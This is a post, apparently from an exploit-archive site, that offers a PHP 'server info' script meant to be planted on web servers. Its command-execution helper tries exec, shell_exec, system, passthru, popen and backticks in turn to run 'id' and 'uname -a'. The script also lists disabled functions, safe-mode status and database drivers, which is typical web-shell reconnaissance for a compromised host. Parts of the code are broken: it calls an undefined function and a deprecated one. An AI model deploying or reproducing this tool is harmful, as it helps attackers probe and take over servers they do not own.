facebook facebook twitter rss

Damane Server Info 1.0

Author: DamaneDz , Published: 17-12-2012
<?
/*

File Writed By Damane2011

Email: Damane-Dz@hotmail.com

Twitter: @DamaneDz

*/

$version = "0.1";
$vsplit = "style=\"border-right: #000000 1px solid;\"";
$hsplit = "style=\"border-bottom: #000000 1px solid;\"";

error_reporting(0);

//Software
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<b><u>PHP/".phpversion()."</u></b>",htmlspecialchars($DISP_SERVER_SOFTWARE));

/// PHP Version
if(version_compare(phpversion(),"4.1.0") == -1)
{ $_POST=&$HTTP_POST_VARS; }
if(get_magic_quotes_gpc())
foreach ($_POST as $k=>$v)
{ $_POST[$k] = stripslashes($v); }

function fe($s)
{return function_exists($s);}
function cmd($s)
{if(fe("exec")){exec($s,$r);$r=join("\n",$r);}
elseif(fe("shell_exec"))$r=shell_exec($s);
elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();}
elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();}
elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);}
else $r=`$s`;return $r;}
function safe_mode_is_on()
{return ini_get('safe_mode');}
function str100($s)
{if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;}
function id()
{return str100(cmd("id"));}
function uname()
{return str100(cmd("uname -a"));}

/// Disabled Functions
$disable_functions = @ini_get('disable_functions');
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }

// Show Stat
function showstat($stat) {
if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
else { return "<font color=#FF9900><b>OFF</b></font>"; }
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function perl() {
if (ex('perl -h')) { return showstat("on"); }
else { return showstat("off"); }
}
function testpostgresql() {
if (function_exists('pg_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testcurl() {
if (function_exists('curl_version')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmysql() {
if (function_exists('mysql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}

function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
}

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = TRUE;
$hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
}
else {
$safemode = FALSE;
$hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
}

echo "
<html><head><title>Damane Server Info</title></head><body>
<link href='http://dz48-coders.org/indexi/pic/favicon.ico' type='image/x-icon' rel='shortcut icon' />
<style type=text/css>
body{background-color:#111;font-family:verdana;}
.info{background-color:#fff; width=100%; height:350px;}
input,textarea{border:1px solid #000;}
</style>
<div class=info>
<table bgcolor=#ff0000 width=100%px height=20px>
<tr>
<td><font color=#fff size=1px><center>Damane Server Info 1.0 [Coded By: Damane2011] & [Designed By: m0m]</center></font>
</td></tr></table>
<font color=#000 size=2px>
<center><span><font color='#111'>
<br> Software : ".$DISP_SERVER_SOFTWARE ." | </br>
<br> ID:".id()." |</br>
<br> PHP Ver:". @phpversion() ." |</br>
<br> Uname -a: ".uname()." |</br>
<br> Your IP:".$_SERVER["REMOTE_ADDR"]." |</br>
<br> Server IP:".gethostbyname($_SERVER["HTTP_HOST"])." |</br>
<br> $hsafemode | </br>
<br> Disabled Functions: ".showdisablefunctions()."|</br>
<br> MySQL: ".testmysql()."|
MSSQL: ".testmssql()."|
Oracle: ".testoracle()."|
PostgreSQL: ".testpostgresql()."|
</center>
<p align='center'><font color='#FF00FF'>By Damane2011<br/></font>
</div>
<br/>
";
?>

Like us on Facebook :